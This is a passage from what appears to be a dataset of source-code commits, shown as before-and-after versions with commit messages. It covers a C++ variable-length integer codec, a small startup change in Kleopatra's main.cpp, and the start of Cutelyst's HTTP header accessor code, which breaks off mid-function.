McInt {\n\tuint8_t data[9] = {0};\n\t\/\/ length of integer in bytes\n\tstd::size_t length = 0;\n};\n\ntemplate<typename I>\n[[nodiscard]] constexpr McInt encodeInteger(I input) noexcept {\n\tMcInt out;\n\t\/\/ move input to uint64_t to allow consistent bit manipulation, and to avoid\n\t\/\/ overflow concerns\n\tuint64_t val = 0;\n\tox_memcpy(&val, &input, sizeof(I));\n\tif (val) {\n\t\t\/\/ bits needed to represent number factoring in space possibly\n\t\t\/\/ needed for signed bit\n\t\tconst auto bits = highestBit(val) + 1 + (ox::is_signed_v<I> ? 1 : 0);\n\t\t\/\/ bytes needed to store value\n\t\tstd::size_t bytes = bits \/ 8 + (bits % 8 != 0);\n\t\tconst auto bitsAvailable = bytes * 8; \/\/ bits available to integer value\n\t\tconst auto bitsNeeded = bits + bytes;\n\t\t\/\/ factor in bits needed for bytesIndicator (does not affect bytesIndicator)\n\t\t\/\/ bits for integer + bits neded to represent bytes > bits available\n\t\tif (bitsNeeded > bitsAvailable && bytes != 9) {\n\t\t\t++bytes;\n\t\t}\n\t\tconst auto bytesIndicator = onMask<uint8_t>(bytes - 1);\n\n\t\t\/\/ ensure we are copying from little endian represenstation\n\t\tLittleEndian<I> leVal = val;\n\t\tif (bytes == 9) {\n\t\t\tout.data[0] = bytesIndicator;\n\t\t\tox_memcpy(&out.data[1], &leVal, sizeof(I));\n\t\t} else {\n\t\t\tauto intermediate =\n\t\t\t\tstatic_cast<uint64_t>(leVal.raw()) << bytes |\n\t\t\t\tstatic_cast<uint64_t>(bytesIndicator);\n\t\t\tox_memcpy(out.data, &intermediate, sizeof(intermediate));\n\t\t}\n\t\tout.length = bytes;\n\t}\n\treturn out;\n}\n\n\/**\n * Returns the number of bytes indicated by the bytes indicator of a variable\n * length integer.\n *\/\n[[nodiscard]] static constexpr std::size_t countBytes(uint8_t b) noexcept {\n\tstd::size_t i = 0;\n\tfor (; (b >> i) & 1; i++);\n\treturn i + 1;\n}\n\nstatic_assert(countBytes(0b00000000) == 1);\nstatic_assert(countBytes(0b00000001) == 2);\nstatic_assert(countBytes(0b00000011) == 3);\nstatic_assert(countBytes(0b00000111) == 4);\nstatic_assert(countBytes(0b00001111) == 5);\nstatic_assert(countBytes(0b00011111) == 6);\nstatic_assert(countBytes(0b00111111) == 7);\nstatic_assert(countBytes(0b01111111) == 8);\nstatic_assert(countBytes(0b11111111) == 9);\n\ntemplate<typename I>\nResult<I> decodeInteger(uint8_t buff[9], std::size_t buffLen, std::size_t *bytesRead) noexcept {\n\tconst auto bytes = countBytes(buff[0]);\n\tif (bytes == 9) {\n\t\t*bytesRead = bytes;\n\t\tI out = 0;\n\t\tmemcpy(&out, &buff[1], sizeof(I));\n\t\treturn {LittleEndian<I>(out), OxError(0)};\n\t} else if (buffLen >= bytes) {\n\t\t*bytesRead = bytes;\n\t\tuint64_t decoded = 0;\n\t\tmemcpy(&decoded, &buff[0], bytes);\n\t\tdecoded >>= bytes;\n\t\tauto out = static_cast<I>(decoded);\n\t\t\/\/ move sign bit\n\t\tif constexpr(ox::is_signed_v<I>) {\n\t\t\tconst auto valBits = bytes << 3;\n\t\t\t\/\/ get sign\n\t\t\tuint64_t sign = decoded >> (valBits - 1);\n\t\t\t\/\/ remove sign\n\t\t\tdecoded &= uint64_t(~0) ^ (uint64_t(1) << valBits);\n\t\t\t\/\/ set sign\n\t\t\tdecoded |= sign << (Bits<I> - 1);\n\t\t\tmemcpy(&out, &decoded, sizeof(out));\n\t\t}\n\t\treturn {out, OxError(0)};\n\t}\n\treturn {0, OxError(1)};\n}\n\ntemplate<typename I>\nResult<I> decodeInteger(McInt m) noexcept {\n\tstd::size_t bytesRead;\n\treturn decodeInteger<I>(m.data, 9, &bytesRead);\n}\n\n}\n<commit_msg>[ox\/mc] Removes some unnecessary type conversions<commit_after>\/*\n * Copyright 2015 - 2021 gary@drinkingtea.net\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#pragma once\n\n#include <ox\/std\/assert.hpp>\n#include <ox\/std\/bit.hpp>\n#include <ox\/std\/byteswap.hpp>\n#include <ox\/std\/memops.hpp>\n\nnamespace ox::mc {\n\ntemplate<typename T>\nstatic constexpr auto Bits = sizeof(T) << 3;\n\n\/**\n * Returns highest bit other than possible signed bit.\n * Bit numbering starts at 0.\n *\/\ntemplate<typename I>\n[[nodiscard]] constexpr std::size_t highestBit(I val) noexcept {\n\tint shiftStart = sizeof(I) * 8 - 1;\n\t\/\/ find most significant non-sign indicator bit\n\tstd::size_t highestBit = 0;\n\t\/\/ start at one bit lower if signed\n\tif constexpr(ox::is_signed_v<I>) {\n\t\t--shiftStart;\n\t}\n\tfor (auto i = shiftStart; i > -1; --i) {\n\t\tconst auto bitValue = (val >> i) & 1;\n\t\tif (bitValue) {\n\t\t\thighestBit = i;\n\t\t\tbreak;\n\t\t}\n\t}\n\treturn highestBit;\n}\n\nstatic_assert(highestBit(int8_t(0b10000000)) == 0);\nstatic_assert(highestBit(1) == 0);\nstatic_assert(highestBit(2) == 1);\nstatic_assert(highestBit(4) == 2);\nstatic_assert(highestBit(8) == 3);\nstatic_assert(highestBit(uint64_t(1) << 31) == 31);\nstatic_assert(highestBit(uint64_t(1) << 63) == 63);\n\nstruct McInt {\n\tuint8_t data[9] = {0};\n\t\/\/ length of integer in bytes\n\tstd::size_t length = 0;\n};\n\ntemplate<typename I>\n[[nodiscard]] constexpr McInt encodeInteger(I input) noexcept {\n\tMcInt out;\n\t\/\/ move input to uint64_t to allow consistent bit manipulation, and to avoid\n\t\/\/ overflow concerns\n\tuint64_t val = 0;\n\tox_memcpy(&val, &input, sizeof(I));\n\tif (val) {\n\t\t\/\/ bits needed to represent number factoring in space possibly\n\t\t\/\/ needed for signed bit\n\t\tconst auto bits = highestBit(val) + 1 + (ox::is_signed_v<I> ? 1 : 0);\n\t\t\/\/ bytes needed to store value\n\t\tstd::size_t bytes = bits \/ 8 + (bits % 8 != 0);\n\t\tconst auto bitsAvailable = bytes * 8; \/\/ bits available to integer value\n\t\tconst auto bitsNeeded = bits + bytes;\n\t\t\/\/ factor in bits needed for bytesIndicator (does not affect bytesIndicator)\n\t\t\/\/ bits for integer + bits neded to represent bytes > bits available\n\t\tif (bitsNeeded > bitsAvailable && bytes != 9) {\n\t\t\t++bytes;\n\t\t}\n\t\tconst auto bytesIndicator = onMask<uint8_t>(bytes - 1);\n\n\t\t\/\/ ensure we are copying from little endian represenstation\n\t\tLittleEndian<I> leVal = val;\n\t\tif (bytes == 9) {\n\t\t\tout.data[0] = bytesIndicator;\n\t\t\tox_memcpy(&out.data[1], &leVal, sizeof(I));\n\t\t} else {\n\t\t\tauto intermediate =\n\t\t\t\tstatic_cast<uint64_t>(leVal.raw()) << bytes |\n\t\t\t\tstatic_cast<uint64_t>(bytesIndicator);\n\t\t\tox_memcpy(out.data, &intermediate, sizeof(intermediate));\n\t\t}\n\t\tout.length = bytes;\n\t}\n\treturn out;\n}\n\n\/**\n * Returns the number of bytes indicated by the bytes indicator of a variable\n * length integer.\n *\/\n[[nodiscard]] static constexpr std::size_t countBytes(uint8_t b) noexcept {\n\tstd::size_t i = 0;\n\tfor (; (b >> i) & 1; i++);\n\treturn i + 1;\n}\n\nstatic_assert(countBytes(0b00000000) == 1);\nstatic_assert(countBytes(0b00000001) == 2);\nstatic_assert(countBytes(0b00000011) == 3);\nstatic_assert(countBytes(0b00000111) == 4);\nstatic_assert(countBytes(0b00001111) == 5);\nstatic_assert(countBytes(0b00011111) == 6);\nstatic_assert(countBytes(0b00111111) == 7);\nstatic_assert(countBytes(0b01111111) == 8);\nstatic_assert(countBytes(0b11111111) == 9);\n\ntemplate<typename I>\nResult<I> decodeInteger(uint8_t buff[9], std::size_t buffLen, std::size_t *bytesRead) noexcept {\n\tconst auto bytes = countBytes(buff[0]);\n\tif (bytes == 9) {\n\t\t*bytesRead = bytes;\n\t\tI out = 0;\n\t\tmemcpy(&out, &buff[1], sizeof(I));\n\t\treturn {LittleEndian<I>(out), OxError(0)};\n\t} else if (buffLen >= bytes) {\n\t\t*bytesRead = bytes;\n\t\tuint64_t decoded = 0;\n\t\tmemcpy(&decoded, &buff[0], bytes);\n\t\tdecoded >>= bytes;\n\t\tauto out = static_cast<I>(decoded);\n\t\t\/\/ move sign bit\n\t\tif constexpr(ox::is_signed_v<I>) {\n\t\t\tconst auto valBits = bytes << 3;\n\t\t\t\/\/ get sign\n\t\t\tuint64_t sign = decoded >> (valBits - 1);\n\t\t\t\/\/ remove sign\n\t\t\tdecoded &= uint64_t(~0) ^ (uint64_t(1) << valBits);\n\t\t\t\/\/ set sign\n\t\t\tdecoded |= sign << (Bits<I> - 1);\n\t\t\tmemcpy(&out, &decoded, sizeof(out));\n\t\t}\n\t\treturn {out, OxError(0)};\n\t}\n\treturn {0, OxError(1)};\n}\n\ntemplate<typename I>\nResult<I> decodeInteger(McInt m) noexcept {\n\tstd::size_t bytesRead;\n\treturn decodeInteger<I>(m.data, 9, &bytesRead);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    main.cpp\n\n    This file is part of Kleopatra, the KDE keymanager\n    Copyright (c) 2001,2002,2004 Klar�vdalens Datakonsult AB\n\n    Kleopatra is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    Kleopatra is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n    In addition, as a special exception, the copyright holders give\n    permission to link the code of this program with any edition of\n    the Qt library by Trolltech AS, Norway (or with modified versions\n    of Qt that use the same license as Qt), and distribute linked\n    combinations including the two.  You must obey the GNU General\n    Public License in all respects for all of the code used other than\n    Qt.  If you modify this file, you may extend this exception to\n    your version of the file, but you are not obligated to do so.  If\n    you do not wish to do so, delete this exception statement from\n    your version.\n*\/\n\n#include <config-kleopatra.h>\n\n#include \"aboutdata.h\"\n#ifndef KLEO_ONLY_UISERVER\n# include \"certmanager.h\"\n#endif\n\n#include \"libkleo\/kleo\/cryptobackendfactory.h\"\n\n#ifdef HAVE_USABLE_ASSUAN\n# include <uiserver\/uiserver.h>\n# include <uiserver\/assuancommand.h>\n# include <uiserver\/echocommand.h>\n# include <uiserver\/decryptcommand.h>\n# include <uiserver\/verifycommand.h>\n# include <uiserver\/encryptcommand.h>\n# include <uiserver\/signcommand.h>\n#endif\n\n#include <kapplication.h>\n#include <kcmdlineargs.h>\n#include <kmessagebox.h>\n#include <klocale.h>\n#include <kglobal.h>\n#include <kiconloader.h>\n\n#include <QTextDocument> \/\/ for Qt::escape\n#include <QSystemTrayIcon>\n#include <QMenu>\n#include <QAction>\n\n#include <boost\/shared_ptr.hpp>\n\nnamespace {\n    template <typename T>\n    boost::shared_ptr<T> make_shared_ptr( T * t ) {\n        return t ? boost::shared_ptr<T>( t ) : boost::shared_ptr<T>() ;\n    }\n}\n\nint main( int argc, char** argv )\n{\n  AboutData aboutData;\n\n  KCmdLineArgs::init(argc, argv, &aboutData);\n\n  KCmdLineOptions options;\n#ifndef KLEO_ONLY_UISERVER\n  options.add(\"external\", ki18n(\"Search for external certificates initially\"));\n  options.add(\"query \", ki18n(\"Initial query string\"));\n#endif\n  options.add(\"import-certificate \", ki18n(\"Name of certificate file to import\"));\n#ifdef HAVE_USABLE_ASSUAN\n  options.add(\"uiserver-socket <argument>\", ki18n(\"Location of the socket the ui server is listening on\" ) );\n#endif\n  KCmdLineArgs::addCmdLineOptions( options );\n\n  KApplication app;\n\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n\n  KGlobal::locale()->insertCatalog( \"libkleopatra\" );\n  KIconLoader::global()->addAppDir( \"libkleopatra\" );\n\n  if( !Kleo::CryptoBackendFactory::instance()->smime() ) {\n    KMessageBox::error(0,\n\t\t\ti18n( \"<qt>The crypto plugin could not be initialized.<br \/>\"\n\t\t\t      \"Certificate Manager will terminate now.<\/qt>\") );\n    return -2;\n  }\n\n#ifndef KLEO_ONLY_UISERVER\n  CertManager* manager = new CertManager( args->isSet(\"external\"),\n\t\t\t\t\t  args->getOption(\"query\"),\n\t\t\t\t\t  args->getOption(\"import-certificate\") );\n  manager->show();\n#endif\n\n  QSystemTrayIcon sysTray( KIcon( \"gpg\" ) );\n  QMenu sysTrayMenu;\n  QAction sysTrayQuitAction( i18n(\"&Quit\"), &sysTray );\n  app.connect( &sysTrayQuitAction, SIGNAL(triggered()), SLOT(quit()) );\n  sysTrayMenu.addAction( &sysTrayQuitAction );\n  sysTray.setContextMenu( &sysTrayMenu );\n  sysTray.show();\n\n  int rc;\n#ifdef HAVE_USABLE_ASSUAN\n  try {\n      Kleo::UiServer server( args->getOption(\"uiserver-socket\") );\n\n      sysTray.setToolTip( i18n( \"Kleopatra UI Server listening on %1\", server.socketName() ) );\n\n#define REGISTER( Command ) server.registerCommandFactory( boost::shared_ptr<Kleo::AssuanCommandFactory>( new Kleo::GenericAssuanCommandFactory<Kleo::Command> ) )\n      REGISTER( DecryptCommand );\n      REGISTER( EchoCommand );\n      REGISTER( VerifyCommand );\n      REGISTER( EncryptCommand );\n      REGISTER( SignCommand );\n#undef REGISTER\n\n      server.start();\n#endif\n\n      args->clear();\n      rc = app.exec();\n\n#ifdef HAVE_USABLE_ASSUAN\n      server.stop();\n      server.waitForStopped();\n  } catch ( const std::exception & e ) {\n      QMessageBox::information( 0, i18n(\"GPG UI Server Error\"),\n                                i18n(\"<qt>The Kleopatra GPG UI Server Module couldn't be initialized.<br\/>\"\n                                     \"The error given was: <b>%1<\/b><br\/>\"\n                                     \"You can use Kleopatra as a certificate manager, but cryptographic plugins that \"\n                                     \"rely on a GPG UI Server being present might not work correctly, or at all.<\/qt>\",\n                                     Qt::escape( QString::fromUtf8( e.what() ) ) ));\n      rc = app.exec();\n  }\n#endif\n\n  return rc;\n}\n<commit_msg>Don't terminate the uiserver when closing the last dialog.<commit_after>\/*\n    main.cpp\n\n    This file is part of Kleopatra, the KDE keymanager\n    Copyright (c) 2001,2002,2004 Klar�vdalens Datakonsult AB\n\n    Kleopatra is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    Kleopatra is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\n    In addition, as a special exception, the copyright holders give\n    permission to link the code of this program with any edition of\n    the Qt library by Trolltech AS, Norway (or with modified versions\n    of Qt that use the same license as Qt), and distribute linked\n    combinations including the two.  You must obey the GNU General\n    Public License in all respects for all of the code used other than\n    Qt.  If you modify this file, you may extend this exception to\n    your version of the file, but you are not obligated to do so.  If\n    you do not wish to do so, delete this exception statement from\n    your version.\n*\/\n\n#include <config-kleopatra.h>\n\n#include \"aboutdata.h\"\n#ifndef KLEO_ONLY_UISERVER\n# include \"certmanager.h\"\n#endif\n\n#include \"libkleo\/kleo\/cryptobackendfactory.h\"\n\n#ifdef HAVE_USABLE_ASSUAN\n# include <uiserver\/uiserver.h>\n# include <uiserver\/assuancommand.h>\n# include <uiserver\/echocommand.h>\n# include <uiserver\/decryptcommand.h>\n# include <uiserver\/verifycommand.h>\n# include <uiserver\/encryptcommand.h>\n# include <uiserver\/signcommand.h>\n#endif\n\n#include <kapplication.h>\n#include <kcmdlineargs.h>\n#include <kmessagebox.h>\n#include <klocale.h>\n#include <kglobal.h>\n#include <kiconloader.h>\n\n#include <QTextDocument> \/\/ for Qt::escape\n#include <QSystemTrayIcon>\n#include <QMenu>\n#include <QAction>\n\n#include <boost\/shared_ptr.hpp>\n\nnamespace {\n    template <typename T>\n    boost::shared_ptr<T> make_shared_ptr( T * t ) {\n        return t ? boost::shared_ptr<T>( t ) : boost::shared_ptr<T>() ;\n    }\n}\n\nint main( int argc, char** argv )\n{\n  AboutData aboutData;\n\n  KCmdLineArgs::init(argc, argv, &aboutData);\n\n  KCmdLineOptions options;\n#ifndef KLEO_ONLY_UISERVER\n  options.add(\"external\", ki18n(\"Search for external certificates initially\"));\n  options.add(\"query \", ki18n(\"Initial query string\"));\n#endif\n  options.add(\"import-certificate \", ki18n(\"Name of certificate file to import\"));\n#ifdef HAVE_USABLE_ASSUAN\n  options.add(\"uiserver-socket <argument>\", ki18n(\"Location of the socket the ui server is listening on\" ) );\n#endif\n  KCmdLineArgs::addCmdLineOptions( options );\n\n  KApplication app;\n\n  KCmdLineArgs *args = KCmdLineArgs::parsedArgs();\n\n  KGlobal::locale()->insertCatalog( \"libkleopatra\" );\n  KIconLoader::global()->addAppDir( \"libkleopatra\" );\n\n  if( !Kleo::CryptoBackendFactory::instance()->smime() ) {\n    KMessageBox::error(0,\n\t\t\ti18n( \"<qt>The crypto plugin could not be initialized.<br \/>\"\n\t\t\t      \"Certificate Manager will terminate now.<\/qt>\") );\n    return -2;\n  }\n\n#ifndef KLEO_ONLY_UISERVER\n  CertManager* manager = new CertManager( args->isSet(\"external\"),\n\t\t\t\t\t  args->getOption(\"query\"),\n\t\t\t\t\t  args->getOption(\"import-certificate\") );\n  manager->show();\n#endif\n\n  QSystemTrayIcon sysTray( KIcon( \"gpg\" ) );\n  QMenu sysTrayMenu;\n  QAction sysTrayQuitAction( i18n(\"&Quit\"), &sysTray );\n  app.connect( &sysTrayQuitAction, SIGNAL(triggered()), SLOT(quit()) );\n  sysTrayMenu.addAction( &sysTrayQuitAction );\n  sysTray.setContextMenu( &sysTrayMenu );\n  sysTray.show();\n\n  int rc;\n#ifdef HAVE_USABLE_ASSUAN\n  try {\n      Kleo::UiServer server( args->getOption(\"uiserver-socket\") );\n\n      sysTray.setToolTip( i18n( \"Kleopatra UI Server listening on %1\", server.socketName() ) );\n\n#define REGISTER( Command ) server.registerCommandFactory( boost::shared_ptr<Kleo::AssuanCommandFactory>( new Kleo::GenericAssuanCommandFactory<Kleo::Command> ) )\n      REGISTER( DecryptCommand );\n      REGISTER( EchoCommand );\n      REGISTER( VerifyCommand );\n      REGISTER( EncryptCommand );\n      REGISTER( SignCommand );\n#undef REGISTER\n\n      server.start();\n#endif\n\n      args->clear();\n      QApplication::setQuitOnLastWindowClosed( false );\n      rc = app.exec();\n\n#ifdef HAVE_USABLE_ASSUAN\n      server.stop();\n      server.waitForStopped();\n  } catch ( const std::exception & e ) {\n      QMessageBox::information( 0, i18n(\"GPG UI Server Error\"),\n                                i18n(\"<qt>The Kleopatra GPG UI Server Module couldn't be initialized.<br\/>\"\n                                     \"The error given was: <b>%1<\/b><br\/>\"\n                                     \"You can use Kleopatra as a certificate manager, but cryptographic plugins that \"\n                                     \"rely on a GPG UI Server being present might not work correctly, or at all.<\/qt>\",\n                                     Qt::escape( QString::fromUtf8( e.what() ) ) ));\n      rc = app.exec();\n  }\n#endif\n\n  return rc;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2014 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n\n#include \"headers_p.h\"\n\n#include \"common.h\"\n\n#include <QStringBuilder>\n#include <QStringList>\n\n#include <QDebug>\n\nusing namespace Cutelyst;\n\nQString Headers::contentEncoding() const\n{\n    return value(QStringLiteral(\"content_encoding\"));\n}\n\nvoid Headers::setContentEncoding(const QString &encoding)\n{\n    insert(QStringLiteral(\"content_encoding\"), encoding);\n}\n\nQString Headers::contentType() const\n{\n    QString ct = value(QStringLiteral(\"content_type\"));\n    return ct.section(QLatin1Char(';'), 0, 0).toLower();\n}\n\nQString Headers::contentTypeCharset() const\n{\n    QString ct = value(QStringLiteral(\"content_type\"));\n    QVector<QStringRef> parts = ct.splitRef(QLatin1Char(';'));\n    Q_FOREACH (const QStringRef &part, parts) {\n        int pos = part.indexOf(QLatin1String(\"charset=\"));\n        if (pos != -1) {\n            int endPos = part.indexOf(QLatin1Char(';'), pos);\n            return part.mid(pos + 8, endPos).trimmed().toString().toUpper();\n        }\n    }\n    return QString();\n}\n\nbool Headers::contentIsText() const\n{\n    return value(QStringLiteral(\"content_type\")).startsWith(QLatin1String(\"text\/\"));\n}\n\nbool Headers::contentIsHtml() const\n{\n    QString ct = contentType();\n    return ct == QLatin1String(\"text\/html\") ||\n            ct == QLatin1String(\"application\/xhtml+xml\") ||\n            ct == QLatin1String(\"application\/vnd.wap.xhtml+xml\");\n}\n\nbool Headers::contentIsXHtml() const\n{\n    QString ct = contentType();\n    return ct == QLatin1String(\"application\/xhtml+xml\") ||\n            ct == QLatin1String(\"application\/vnd.wap.xhtml+xml\");\n}\n\nbool Headers::contentIsXml() const\n{\n    QString ct = contentType();\n    return ct == QLatin1String(\"text\/xml\") ||\n            ct == QLatin1String(\"application\/xml\") ||\n            ct.endsWith(QLatin1String(\"xml\"));\n}\n\nvoid Headers::setContentType(const QString &contentType)\n{\n    insert(QStringLiteral(\"content_type\"), contentType);\n}\n\nqint64 Headers::contentLength() const\n{\n    return value(QStringLiteral(\"content_length\")).toLongLong();\n}\n\nvoid Headers::setContentLength(qint64 value)\n{\n    insert(QStringLiteral(\"content_length\"), QString::number(value));\n}\n\nvoid Headers::setDateWithDateTime(const QDateTime &date)\n{\n    \/\/ ALL dates must be in GMT timezone http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html\n    \/\/ and follow RFC 822\n    QLocale locale(QLocale::C);\n    QString dt = locale.toString(date.toTimeSpec(Qt::UTC),\n                                 QLatin1String(\"ddd, dd MMM yyyy hh:mm:ss\")) % QLatin1String(\" GMT\");\n    insert(QStringLiteral(\"date\"), dt);\n}\n\nQString Headers::ifModifiedSince() const\n{\n    return header(QStringLiteral(\"if_modified_since\"));\n}\n\nQDateTime Headers::ifModifiedSinceDateTime() const\n{\n    Headers::ConstIterator it = constFind(QStringLiteral(\"if_modified_since\"));\n    if (it == constEnd()) {\n        return QDateTime();\n    }\n\n    const QString &ifModifiedStr = it.value();\n    QLocale locale(QLocale::C);\n\n    QDateTime localDT;\n    if (ifModifiedStr.endsWith(QLatin1String(\" GMT\"))) {\n        localDT = locale.toDateTime(ifModifiedStr.left(ifModifiedStr.size() - 4),\n                                    QStringLiteral(\"ddd, dd MMM yyyy hh:mm:ss\"));\n    } else {\n        localDT = locale.toDateTime(ifModifiedStr,\n                                    QStringLiteral(\"ddd, dd MMM yyyy hh:mm:ss\"));\n    }\n    return QDateTime(localDT.date(), localDT.time(), Qt::UTC);\n}\n\nQString Headers::lastModified() const\n{\n    return value(QStringLiteral(\"last_modified\"));\n}\n\nvoid Headers::setLastModified(const QString &value)\n{\n    insert(QStringLiteral(\"last_modified\"), value);\n}\n\nvoid Headers::setLastModified(const QDateTime &lastModified)\n{\n    \/\/ ALL dates must be in GMT timezone http:\/\/www.w3.org\/Protocols\/rfc2616\/rfc2616-sec3.html\n    \/\/ and follow RFC 822\n    QLocale locale(QLocale::C);\n    QString dt = locale.toString(lastModified.toTimeSpec(Qt::UTC),\n                                 QStringLiteral(\"ddd, dd MMM yyyy hh:mm:ss\")) % QLatin1String(\" GMT\");\n    setLastModified(dt);\n}\n\nQString Headers::server() const\n{\n    return value(QStringLiteral(\"server\"));\n}\n\nvoid Headers::setServer(const QString &value)\n{\n    insert(QStringLiteral(\"server\"), value);\n}\n\nQString Headers::userAgent() const\n{\n    return value(QStringLiteral(\"user_agent\"));\n}\n\nvoid Headers::setUserAgent(const QString &value)\n{\n    insert(QStringLiteral(\"user_agent\"), value);\n}\n\nQString Headers::referer() const\n{\n    return value(QStringLiteral(\"referer\"));\n}\n\nvoid Headers::setReferer(const QString &uri)\n{\n    int fragmentPos = uri.indexOf(QLatin1Char('#'));\n    if (fragmentPos != -1) {\n        \/\/ Strip fragment per RFC 2616, section 14.36.\n        insert(QStringLiteral(\"referer\"), uri.mid(0, fragmentPos));\n    } else {\n        insert(QStringLiteral(\"referer\"), uri);\n    }\n}\n\nvoid Headers::setWwwAuthenticate(const QString &value)\n{\n    insert(QStringLiteral(\"www_authenticate\"), value);\n}\n\nvoid Headers::setProxyAuthenticate(const QString &value)\n{\n    insert(QStringLiteral(\"proxy_authenticate\"), value);\n}\n\nQString Headers::authorization() const\n{\n    return value(QStringLiteral(\"authorization\"));\n}\n\nQString Headers::authorizationBasic() const\n{\n    return HeadersPrivate::decodeBasicAuth(authorization());\n}\n\nQPair<QString, QString> Headers::authorizationBasicPair() const\n{\n    return HeadersPrivate::decodeBasicAuthPair(authorization());\n}\n\nvoid Headers::setAuthorizationBasic(const QString &username, const QString &password)\n{\n    if (username.contains(':')) {\n        qCWarning(CUTELYST_CORE) << \"Headers::Basic authorization user name can't contain ':'\";\n    }\n    QString result = username % QLatin1Char(':') % password;\n    insert(QStringLiteral(\"authorization\"), QStringLiteral(\"Basic \") + result.toLatin1().toBase64());\n}\n\nQString Headers::proxyAuthorization() const\n{\n    return value(QStringLiteral(\"proxy_authorization\"));\n}\n\nQString Headers::proxyAuthorizationBasic() const\n{\n    return HeadersPrivate::decodeBasicAuth(proxyAuthorization());\n}\n\nQPair<QString, QString> Headers::proxyAuthorizationBasicPair() const\n{\n    return HeadersPrivate::decodeBasicAuthPair(proxyAuthorization());\n}\n\nQString Headers::header(const QString &field) const\n{\n    return value(HeadersPrivate::normalizeHeaderKey(field));\n}\n\nQString Headers::header(const QString &field, const QString &defaultValue) const\n{\n    return value(HeadersPrivate::normalizeHeaderKey(field), defaultValue);\n}\n\nvoid Headers::setHeader(const QString &field, const QString &value)\n{\n    insert(HeadersPrivate::normalizeHeaderKey(field), value);\n}\n\nvoid Headers::setHeader(const QString &field, const QStringList &values)\n{\n    setHeader(field, values.join(QLatin1String(\", \")));\n}\n\nvoid Headers::pushHeader(const QString &field, const QString &value)\n{\n    const QString &key = HeadersPrivate::normalizeHeaderKey(field);\n    const QString &old = Headers::value(key);\n    if (old.isEmpty()) {\n        insert(key, value);\n    } else {\n        insert(key, old % QLatin1String(\", \") % value);\n    }\n}\n\nvoid Headers::pushHeader(const QString &field, const QStringList &values)\n{\n    pushHeader(field, values.join(QLatin1String(\", \")));\n}\n\nvoid Headers::removeHeader(const QString &field)\n{\n    remove(HeadersPrivate::normalizeHeaderKey(field));\n}\n\nstatic QString cutelyst_header_order(\n        \/\/ General headers\n        \"Cache-Control\\n\"\n        \"Connection\\n\"\n        \"Date\\n\"\n        \"Pragma\\n\"\n        \"Trailer\\n\"\n        \"Transfer-Encoding\\n\"\n        \"Upgrade\\n\"\n        \"Via\\n\"\n        \"Warning\\n\"\n        \/\/ Request headers\n        \"Accept\\n\"\n        \"Accept-Charset\\n\"\n        \"Accept-Encoding\\n\"\n        \"Accept-Language\\n\"\n        \"Authorization\\n\"\n        \"Expect\\n\"\n        \"From\\n\"\n        \"Host\\n\"\n        \"If-Match\\n\"\n        \"If-Modified-Since\\n\"\n        \"If-None-Match\\n\"\n        \"If-Range\\n\"\n        \"If-Unmodified-Since\\n\"\n        \"Max-Forwards\\n\"\n        \"Proxy-Authorization\\n\"\n        \"Range\\n\"\n        \"Referer\\n\"\n        \"TE\\n\"\n        \"User-Agent\\n\"\n        \/\/ Response headers\n        \"Accept-Ranges\\n\"\n        \"Age\\n\"\n        \"ETag\\n\"\n        \"Location\\n\"\n        \"Proxy-Authenticate\\n\"\n        \"Retry-After\\n\"\n        \"Server\\n\"\n        \"Vary\\n\"\n        \"WWW-Authenticate\\n\"\n        \/\/ Entity headers\n        \"Allow\\n\"\n        \"Content-Encoding\\n\"\n        \"Content-Language\\n\"\n        \"Content-Length\\n\"\n        \"Content-Location\\n\"\n        \"Content-MD5\\n\"\n        \"Content-Range\\n\"\n        \"Content-Type\\n\"\n        \"Expires\\n\"\n        \"Last-Modified\"\n        );\n\nbool httpGoodPracticeWeightSort(const HeaderValuePair &pair1, const HeaderValuePair &pair2)\n{\n    int index1 = pair1.weight;\n    int index2 = pair2.weight;\n\n    if (index1 != -1 && index2 != -1) {\n        \/\/ Both items are in the headerOrder list\n        return index1 < index2;\n    } else if (index1 == -1 && index2 == -1) {\n        \/\/ Noone of them are int the headerOrder list\n        return false;\n    }\n\n    \/\/ if the pair1 is in the header list it should go first\n    return index1 != -1;\n}\n\nQList<HeaderValuePair> Headers::headersForResponse() const\n{\n    QList<HeaderValuePair> ret;\n\n    QHash<QString, QString>::const_iterator it = constBegin();\n    while (it != constEnd()) {\n        HeaderValuePair pair;\n        QString key = it.key();\n\n        \/\/ The RFC 2616 and 7230 states keys are not case\n        \/\/ case sensitive, however several tools fail\n        \/\/ if the headers are not on camel case form.\n        bool lastWasDash 